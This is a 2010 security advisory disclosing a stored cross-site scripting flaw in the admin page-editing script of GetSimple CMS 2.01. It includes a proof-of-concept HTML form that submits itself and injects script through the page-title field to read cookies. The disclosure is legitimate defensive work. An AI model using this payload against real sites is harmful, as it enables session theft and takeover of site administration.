XSS vulnerability in GetSimple CMS

Vulnerability ID: HTB22609
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_getsimple_cms_1.html
Product: GetSimple CMS
Vendor: Cagintranet Networks ( http://get-simple.info/ )
Vulnerable Version: 2.01 and Probably Prior Versions
Vendor Notification: 15 September 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "admin/changedata.php" script to properly sanitize user-supplied input in "post-title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/changedata.php&quot; method="post" name="main" >

<input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post-id" value="test" />
<input type="hidden" name="post-metak" value="" />
<input type="hidden" name="post-metad" value="" />
<input type="hidden" name="post-parent" value="" />
<input type="hidden" name="post-template" value="template.php" />
<input type="hidden" name="post-menu" value="test" />
<input type="hidden" name="post-menu-order" value="" />
<input type="hidden" name="post-content" value="page html" />
<input type="hidden" name="existing-url" value="test" />
<input type="hidden" name="submitted" value="Save Updates" />

</form>
<script>
document.main.submit();
</script>